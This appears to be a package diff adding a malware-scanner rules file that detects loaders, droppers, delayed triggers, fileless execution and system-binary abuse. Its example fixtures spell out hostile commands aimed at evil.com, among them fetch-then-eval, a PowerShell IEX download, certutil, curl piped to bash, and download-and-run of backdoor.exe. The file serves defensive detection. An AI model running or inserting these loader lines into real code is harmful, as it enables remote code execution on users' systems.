secure-scan 1.2.2

package/dist/rules/malware/categories/loaders.js

@@ -0,0 +1,702 @@
+"use strict";
+/**
+ * @fileoverview Loader, Dropper, and Multi-Stage Malware Detection Rules
+ * @module rules/malware/categories/loaders
+ *
+ * Comprehensive rules for detecting malware loaders and droppers including:
+ * - Remote code loading
+ * - Dynamic script injection
+ * - Multi-stage malware
+ * - Fileless malware patterns
+ * - Living-off-the-land techniques
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.loaderRules = exports.lotlRules = exports.filelessRules = exports.multiStageRules = exports.dropperRules = exports.remoteLoaderRules = void 0;
+const types_1 = require("../types");
+// ============================================================================
+// REMOTE CODE LOADER RULES
+// ============================================================================
+exports.remoteLoaderRules = [
+    {
+        id: 'MAL-LOAD-001',
+        name: 'Malicious Loader - Remote Script Execution',
+        description: 'Detects patterns that fetch and execute remote code dynamically.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.LOADER,
+        category: types_1.MalwareCategory.DROPPER,
+        languages: [
+            types_1.SupportedLanguage.JAVASCRIPT,
+            types_1.SupportedLanguage.TYPESCRIPT,
+            types_1.SupportedLanguage.PYTHON,
+            types_1.SupportedLanguage.PHP
+        ],
+        severity: types_1.MalwareSeverity.CRITICAL,
+        confidence: types_1.ConfidenceLevel.HIGH,
+        baseScore: 90,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'eval-fetch',
+                pattern: 'eval\\s*\\([^)]*(?:fetch|axios|request|\\$\\.get)\\s*\\(',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'Eval with remote fetch'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'function-constructor-fetch',
+                pattern: 'Function\\s*\\([^)]*\\)[\\s\\S]*?(?:fetch|XMLHttpRequest|http\\.get)',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'Function constructor with remote data'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'python-exec-urllib',
+                pattern: 'exec\\s*\\(\\s*(?:urllib|requests)\\.(?:urlopen|get)\\s*\\([^)]+\\)\\.read\\s*\\(',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'Python exec with URL fetch'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'php-include-http',
+                pattern: '(?:include|require)(?:_once)?\\s*\\([^)]*https?:',
+                flags: 'gi',
+                weight: 1.0,
+                description: 'PHP remote file inclusion'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'node-vm-remote',
+                pattern: 'vm\\.(?:runInThisContext|runInNewContext)\\s*\\([^)]*(?:fetch|http\\.get|axios)',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'Node.js VM with remote code'
+            }
+        ],
+        amplifyingPatterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'external-url',
+                pattern: 'https?:\\/\\/(?!localhost|127\\.0\\.0\\.1)[\\w.-]+',
+                flags: 'gi',
+                weight: 0.4,
+                description: 'External URL present'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `fetch('https://evil.com/payload.js')
+  .then(r => r.text())
+  .then(code => eval(code));`,
+                language: types_1.SupportedLanguage.JAVASCRIPT,
+                isMalicious: true,
+                description: 'Remote code loader via fetch'
+            },
+            {
+                code: `import urllib.request
+exec(urllib.request.urlopen('http://evil.com/backdoor.py').read())`,
+                language: types_1.SupportedLanguage.PYTHON,
+                isMalicious: true,
+                description: 'Python remote code execution'
+            }
+        ],
+        impact: {
+            technical: 'Dynamically loads and executes code from remote source.',
+            business: 'Allows attacker to update malware without modifying files.',
+            affectedAssets: ['Application runtime', 'System'],
+            dataAtRisk: ['All accessible data', 'System control']
+        },
+        remediation: {
+            summary: 'Remove remote code loading and implement Content Security Policy.',
+            steps: [
+                'Remove all dynamic remote code loading',
+                'Implement strict Content Security Policy',
+                'Use Subresource Integrity for external scripts',
+                'Whitelist allowed script sources',
+                'Monitor network connections for unusual patterns'
+            ]
+        },
+        mitreAttack: [
+            {
+                tacticId: types_1.MitreTactic.EXECUTION,
+                tacticName: 'Execution',
+                techniqueId: 'T1059',
+                techniqueName: 'Command and Scripting Interpreter',
+                url: 'https://attack.mitre.org/techniques/T1059/'
+            },
+            {
+                tacticId: types_1.MitreTactic.COMMAND_AND_CONTROL,
+                tacticName: 'Command and Control',
+                techniqueId: 'T1105',
+                techniqueName: 'Ingress Tool Transfer',
+                url: 'https://attack.mitre.org/techniques/T1105/'
+            }
+        ],
+        tags: ['loader', 'remote-code', 'dynamic-execution', 'critical'],
+        enabled: true
+    },
+    {
+        id: 'MAL-LOAD-002',
+        name: 'Malicious Loader - Dynamic Script Injection',
+        description: 'Detects dynamic injection of script tags or script elements.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.LOADER,
+        category: types_1.MalwareCategory.DROPPER,
+        languages: [types_1.SupportedLanguage.JAVASCRIPT, types_1.SupportedLanguage.TYPESCRIPT],
+        severity: types_1.MalwareSeverity.HIGH,
+        confidence: types_1.ConfidenceLevel.HIGH,
+        baseScore: 78,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'document-write-script',
+                pattern: 'document\\.write\\s*\\([^)]*<script[^>]*src\\s*=',
+                flags: 'gis',
+                weight: 0.9,
+                description: 'document.write with script tag'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'createElement-script-src',
+                pattern: '\\.createElement\\s*\\([\'"]script[\'"]\\)[\\s\\S]*?\\.src\\s*=\\s*[^;]+;[\\s\\S]*?appendChild',
+                flags: 'gis',
+                weight: 0.8,
+                description: 'Dynamic script element creation'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'innerhtml-script',
+                pattern: '\\.innerHTML\\s*[+]?=\\s*[\'"][^\'\"]*<script',
+                flags: 'gis',
+                weight: 0.9,
+                description: 'Script injection via innerHTML'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'script-text-eval',
+                pattern: 'createElement\\s*\\([\'"]script[\'"]\\)[\\s\\S]*?\\.(?:text|textContent)\\s*=\\s*[^;]+;[\\s\\S]*?appendChild',
+                flags: 'gis',
+                weight: 0.8,
+                description: 'Inline script injection'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `const script = document.createElement('script');
+script.src = 'https://evil.com/malware.js';
+document.body.appendChild(script);`,
+                language: types_1.SupportedLanguage.JAVASCRIPT,
+                isMalicious: true,
+                description: 'Dynamic malicious script injection'
+            }
+        ],
+        falsePositivePatterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'analytics-known',
+                pattern: 'google-analytics|googletagmanager|segment\\.com',
+                flags: 'gi',
+                weight: 0.4,
+                description: 'Known analytics services'
+            }
+        ],
+        impact: {
+            technical: 'Dynamically injects executable scripts into the page.',
+            business: 'Code injection allowing arbitrary script execution.',
+            affectedAssets: ['Web page', 'User browser'],
+            dataAtRisk: ['Page data', 'User session']
+        },
+        remediation: {
+            summary: 'Remove dynamic script injection and use CSP.',
+            steps: [
+                'Remove unauthorized script injection code',
+                'Implement Content Security Policy',
+                'Use nonce or hash-based CSP for inline scripts',
+                'Audit all script loading mechanisms'
+            ]
+        },
+        tags: ['loader', 'script-injection', 'dom-manipulation', 'high'],
+        enabled: true
+    }
+];
+// ============================================================================
+// DROPPER RULES
+// ============================================================================
+exports.dropperRules = [
+    {
+        id: 'MAL-LOAD-010',
+        name: 'Dropper - File Write with Download',
+        description: 'Detects patterns that download and write executable files.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.DROPPER,
+        category: types_1.MalwareCategory.DROPPER,
+        languages: [types_1.SupportedLanguage.PYTHON, types_1.SupportedLanguage.JAVASCRIPT, types_1.SupportedLanguage.TYPESCRIPT],
+        severity: types_1.MalwareSeverity.CRITICAL,
+        confidence: types_1.ConfidenceLevel.HIGH,
+        baseScore: 88,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'python-download-write',
+                pattern: '(?:urllib|requests)\\.(?:urlopen|get)[\\s\\S]*?open\\s*\\([^)]+[\'"][wb][\'"]\\)[\\s\\S]*?\\.write',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'Python download and file write'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'node-download-fs',
+                pattern: '(?:fetch|http\\.get|axios)[\\s\\S]*?fs\\.(?:writeFile|createWriteStream)',
+                flags: 'gis',
+                weight: 1.0,
+                description: 'Node.js download and file write'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'executable-extension',
+                pattern: '\\.(?:exe|dll|so|dylib|sh|bat|cmd|ps1|vbs)[\'"]',
+                flags: 'gi',
+                weight: 0.5,
+                description: 'Executable file extension'
+            }
+        ],
+        amplifyingPatterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'chmod-executable',
+                pattern: 'chmod\\s+[+]?x|os\\.chmod\\s*\\([^)]+0o7[0-7]{2}',
+                flags: 'gi',
+                weight: 0.6,
+                description: 'Making file executable'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'subprocess-run',
+                pattern: 'subprocess\\.(?:run|Popen|call)|exec\\s*\\(',
+                flags: 'gi',
+                weight: 0.5,
+                description: 'Process execution'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `import urllib.request
+import subprocess
+urllib.request.urlretrieve('http://evil.com/backdoor.exe', '/tmp/backdoor.exe')
+subprocess.run(['/tmp/backdoor.exe'])`,
+                language: types_1.SupportedLanguage.PYTHON,
+                isMalicious: true,
+                description: 'Download and execute dropper'
+            }
+        ],
+        impact: {
+            technical: 'Downloads and writes executable files to disk.',
+            business: 'Stage 1 of multi-stage malware infection.',
+            affectedAssets: ['File system', 'System processes'],
+            dataAtRisk: ['System integrity', 'All accessible data']
+        },
+        remediation: {
+            summary: 'Remove dropper code and scan for downloaded payloads.',
+            steps: [
+                'Remove the dropper code',
+                'Scan file system for downloaded payloads',
+                'Check for executed processes',
+                'Investigate network connections',
+                'Reset credentials if compromised'
+            ]
+        },
+        mitreAttack: [
+            {
+                tacticId: types_1.MitreTactic.EXECUTION,
+                tacticName: 'Execution',
+                techniqueId: 'T1204',
+                techniqueName: 'User Execution',
+                url: 'https://attack.mitre.org/techniques/T1204/'
+            },
+            {
+                tacticId: types_1.MitreTactic.COMMAND_AND_CONTROL,
+                tacticName: 'Command and Control',
+                techniqueId: 'T1105',
+                techniqueName: 'Ingress Tool Transfer',
+                url: 'https://attack.mitre.org/techniques/T1105/'
+            }
+        ],
+        tags: ['dropper', 'download', 'file-write', 'critical'],
+        enabled: true
+    }
+];
+// ============================================================================
+// MULTI-STAGE MALWARE RULES
+// ============================================================================
+exports.multiStageRules = [
+    {
+        id: 'MAL-LOAD-020',
+        name: 'Multi-Stage - Delayed Execution',
+        description: 'Detects time-delayed or condition-based malware activation.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.MULTI_STAGE,
+        category: types_1.MalwareCategory.DROPPER,
+        languages: [
+            types_1.SupportedLanguage.JAVASCRIPT,
+            types_1.SupportedLanguage.TYPESCRIPT,
+            types_1.SupportedLanguage.PYTHON
+        ],
+        severity: types_1.MalwareSeverity.HIGH,
+        confidence: types_1.ConfidenceLevel.MEDIUM,
+        baseScore: 72,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'setTimeout-fetch-eval',
+                pattern: 'setTimeout\\s*\\([^)]*(?:fetch|http)[\\s\\S]*?(?:eval|Function|exec)',
+                flags: 'gis',
+                weight: 0.9,
+                description: 'Delayed remote code execution'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'date-check-execution',
+                pattern: 'new\\s+Date\\s*\\([^)]*\\)[\\s\\S]{0,100}(?:getTime|getDate|getMonth)[\\s\\S]{0,100}(?:eval|exec|Function)',
+                flags: 'gis',
+                weight: 0.8,
+                description: 'Date-based activation'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'counter-trigger',
+                pattern: '(?:var|let|const)\\s+\\w+\\s*=\\s*0[\\s\\S]*?\\+\\+[\\s\\S]{0,100}(?:eval|exec)',
+                flags: 'gis',
+                weight: 0.6,
+                description: 'Counter-based trigger'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `let visitCount = parseInt(localStorage.getItem('visits') || '0');
+visitCount++;
+localStorage.setItem('visits', visitCount.toString());
+if (visitCount >= 5) {
+  fetch('https://evil.com/stage2.js').then(r => r.text()).then(eval);
+}`,
+                language: types_1.SupportedLanguage.JAVASCRIPT,
+                isMalicious: true,
+                description: 'Visit counter-triggered payload'
+            }
+        ],
+        impact: {
+            technical: 'Activates malicious payload after delay or condition.',
+            business: 'Evades detection through delayed activation.',
+            affectedAssets: ['Application runtime'],
+            dataAtRisk: ['Depends on stage 2 payload']
+        },
+        remediation: {
+            summary: 'Remove delayed execution logic and analyze all stages.',
+            steps: [
+                'Remove timing or condition-based triggers',
+                'Analyze all referenced payloads',
+                'Check for persistence mechanisms'
+            ]
+        },
+        mitreAttack: [
+            {
+                tacticId: types_1.MitreTactic.DEFENSE_EVASION,
+                tacticName: 'Defense Evasion',
+                techniqueId: 'T1027',
+                techniqueName: 'Obfuscated Files or Information',
+                url: 'https://attack.mitre.org/techniques/T1027/'
+            }
+        ],
+        tags: ['multi-stage', 'delayed-execution', 'time-bomb', 'high'],
+        enabled: true
+    },
+    {
+        id: 'MAL-LOAD-021',
+        name: 'Multi-Stage - Environment-Based Activation',
+        description: 'Detects malware that activates based on environment conditions.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.LOGIC_BOMB,
+        category: types_1.MalwareCategory.DROPPER,
+        languages: [
+            types_1.SupportedLanguage.JAVASCRIPT,
+            types_1.SupportedLanguage.TYPESCRIPT,
+            types_1.SupportedLanguage.PYTHON
+        ],
+        severity: types_1.MalwareSeverity.HIGH,
+        confidence: types_1.ConfidenceLevel.MEDIUM,
+        baseScore: 75,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'prod-env-trigger',
+                pattern: 'NODE_ENV\\s*===?\\s*[\'"]production[\'"][\\s\\S]*?(?:eval|exec|fetch)',
+                flags: 'gis',
+                weight: 0.9,
+                description: 'Production environment trigger'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'domain-check-trigger',
+                pattern: 'location\\.(?:hostname|host)[\\s\\S]*?(?:match|includes|===)[\\s\\S]*?(?:eval|exec)',
+                flags: 'gis',
+                weight: 0.8,
+                description: 'Domain-based activation'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'ci-env-skip',
+                pattern: 'process\\.env\\.(?:CI|TRAVIS|JENKINS|GITHUB_ACTIONS)[\\s\\S]*?(?:return|exit)',
+                flags: 'gis',
+                weight: 0.7,
+                description: 'CI environment skip'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `if (process.env.NODE_ENV === 'production' && !process.env.CI) {
+  fetch('https://evil.com/prod-payload.js').then(r => r.text()).then(eval);
+}`,
+                language: types_1.SupportedLanguage.JAVASCRIPT,
+                isMalicious: true,
+                description: 'Production-only malware activation'
+            }
+        ],
+        impact: {
+            technical: 'Activates only in specific environments to evade testing.',
+            business: 'Targets production systems while avoiding detection.',
+            affectedAssets: ['Production environment'],
+            dataAtRisk: ['Production data']
+        },
+        remediation: {
+            summary: 'Remove environment-based triggers and analyze activation logic.',
+            steps: [
+                'Remove environment checks tied to malicious code',
+                'Test in production-like environments',
+                'Implement environment-independent security'
+            ]
+        },
+        tags: ['multi-stage', 'environment-trigger', 'logic-bomb', 'high'],
+        enabled: true
+    }
+];
+// ============================================================================
+// FILELESS MALWARE RULES
+// ============================================================================
+exports.filelessRules = [
+    {
+        id: 'MAL-LOAD-030',
+        name: 'Fileless - Memory-Only Execution',
+        description: 'Detects patterns indicative of fileless malware executing only in memory.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.FILELESS,
+        category: types_1.MalwareCategory.DROPPER,
+        languages: [
+            types_1.SupportedLanguage.JAVASCRIPT,
+            types_1.SupportedLanguage.TYPESCRIPT,
+            types_1.SupportedLanguage.PYTHON,
+            types_1.SupportedLanguage.POWERSHELL
+        ],
+        severity: types_1.MalwareSeverity.HIGH,
+        confidence: types_1.ConfidenceLevel.MEDIUM,
+        baseScore: 76,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'ps-iex-downloadstring',
+                pattern: 'IEX\\s*\\([^)]*DownloadString',
+                flags: 'gi',
+                weight: 1.0,
+                description: 'PowerShell IEX with DownloadString'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'ps-memory-load',
+                pattern: '\\[System\\.Reflection\\.Assembly\\]::Load\\s*\\([^)]*\\[System\\.Net\\.WebClient\\]',
+                flags: 'gi',
+                weight: 1.0,
+                description: 'PowerShell in-memory assembly load'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'js-blob-worker',
+                pattern: 'new\\s+Worker\\s*\\(\\s*URL\\.createObjectURL\\s*\\(\\s*new\\s+Blob',
+                flags: 'gis',
+                weight: 0.8,
+                description: 'JavaScript Blob Worker (fileless)'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'python-io-exec',
+                pattern: 'exec\\s*\\(\\s*io\\.BytesIO\\s*\\(',
+                flags: 'gi',
+                weight: 0.7,
+                description: 'Python in-memory execution'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')`,
+                language: types_1.SupportedLanguage.POWERSHELL,
+                isMalicious: true,
+                description: 'PowerShell fileless execution'
+            },
+            {
+                code: `const blob = new Blob([maliciousCode], { type: 'application/javascript' });
+const worker = new Worker(URL.createObjectURL(blob));`,
+                language: types_1.SupportedLanguage.JAVASCRIPT,
+                isMalicious: true,
+                description: 'JavaScript fileless Web Worker'
+            }
+        ],
+        impact: {
+            technical: 'Executes entirely in memory without writing to disk.',
+            business: 'Evades file-based detection mechanisms.',
+            affectedAssets: ['System memory', 'Processes'],
+            dataAtRisk: ['All accessible data']
+        },
+        remediation: {
+            summary: 'Implement memory-based detection and behavior monitoring.',
+            steps: [
+                'Remove fileless execution code',
+                'Implement behavior-based detection',
+                'Monitor process memory for anomalies',
+                'Use endpoint detection and response (EDR) tools'
+            ]
+        },
+        mitreAttack: [
+            {
+                tacticId: types_1.MitreTactic.DEFENSE_EVASION,
+                tacticName: 'Defense Evasion',
+                techniqueId: 'T1027',
+                techniqueName: 'Obfuscated Files or Information',
+                url: 'https://attack.mitre.org/techniques/T1027/'
+            },
+            {
+                tacticId: types_1.MitreTactic.EXECUTION,
+                tacticName: 'Execution',
+                techniqueId: 'T1059.001',
+                techniqueName: 'PowerShell',
+                url: 'https://attack.mitre.org/techniques/T1059/001/'
+            }
+        ],
+        tags: ['fileless', 'memory-execution', 'evasion', 'high'],
+        enabled: true
+    }
+];
+// ============================================================================
+// LIVING OFF THE LAND RULES
+// ============================================================================
+exports.lotlRules = [
+    {
+        id: 'MAL-LOAD-040',
+        name: 'Living Off The Land - System Binary Abuse',
+        description: 'Detects abuse of legitimate system binaries for malicious purposes.',
+        version: '2.0.0',
+        threatType: types_1.MalwareThreatType.LIVING_OFF_THE_LAND,
+        category: types_1.MalwareCategory.DROPPER,
+        languages: [
+            types_1.SupportedLanguage.PYTHON,
+            types_1.SupportedLanguage.JAVASCRIPT,
+            types_1.SupportedLanguage.SHELL,
+            types_1.SupportedLanguage.POWERSHELL
+        ],
+        severity: types_1.MalwareSeverity.HIGH,
+        confidence: types_1.ConfidenceLevel.MEDIUM,
+        baseScore: 70,
+        patterns: [
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'certutil-download',
+                pattern: 'certutil\\s+.*-urlcache\\s+.*http',
+                flags: 'gi',
+                weight: 1.0,
+                description: 'CertUtil for file download'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'bitsadmin-download',
+                pattern: 'bitsadmin\\s+\\/transfer.*http',
+                flags: 'gi',
+                weight: 1.0,
+                description: 'BitsAdmin for file download'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'mshta-http',
+                pattern: 'mshta\\s+http',
+                flags: 'gi',
+                weight: 1.0,
+                description: 'MSHTA with remote URL'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'regsvr32-scrobj',
+                pattern: 'regsvr32\\s+.*\\/[uis].*\\.sct',
+                flags: 'gi',
+                weight: 1.0,
+                description: 'Regsvr32 scriptlet execution'
+            },
+            {
+                type: types_1.PatternType.REGEX,
+                patternId: 'curl-pipe-sh',
+                pattern: 'curl\\s+.*\\|\\s*(?:bash|sh|python)',
+                flags: 'gi',
+                weight: 1.0,
+                description: 'Curl pipe to shell'
+            }
+        ],
+        maliciousExamples: [
+            {
+                code: `certutil -urlcache -split -f http://evil.com/payload.exe c:\\temp\\payload.exe`,
+                language: types_1.SupportedLanguage.SHELL,
+                isMalicious: true,
+                description: 'CertUtil download abuse'
+            },
+            {
+                code: `curl https://evil.com/install.sh | bash`,
+                language: types_1.SupportedLanguage.SHELL,
+                isMalicious: true,
+                description: 'Curl pipe to bash'
+            }
+        ],
+        impact: {
+            technical: 'Abuses legitimate system tools for malicious activities.',
+            business: 'Bypasses application whitelisting and detection.',
+            affectedAssets: ['System binaries', 'System trust'],
+            dataAtRisk: ['System integrity']
+        },
+        remediation: {
+            summary: 'Monitor and restrict abuse of system binaries.',
+            steps: [
+                'Remove malicious command invocations',
+                'Implement application whitelisting with argument restrictions',
+                'Monitor usage of LOLBins',
+                'Use command-line auditing'
+            ]
+        },
+        mitreAttack: [
+            {
+                tacticId: types_1.MitreTactic.DEFENSE_EVASION,
+                tacticName: 'Defense Evasion',
+                techniqueId: 'T1218',
+                techniqueName: 'System Binary Proxy Execution',
+                url: 'https://attack.mitre.org/techniques/T1218/'
+            }
+        ],
+        tags: ['lotl', 'lolbins', 'system-binary-abuse', 'high'],
+        enabled: true
+    }
+];
+// ============================================================================
+// EXPORT ALL LOADER RULES
+// ============================================================================
+exports.loaderRules = [
+    ...exports.remoteLoaderRules,
+    ...exports.dropperRules,
+    ...exports.multiStageRules,
+    ...exports.filelessRules,
+    ...exports.lotlRules
+];
+exports.default = exports.loaderRules;
+//# sourceMappingURL=loaders.js.map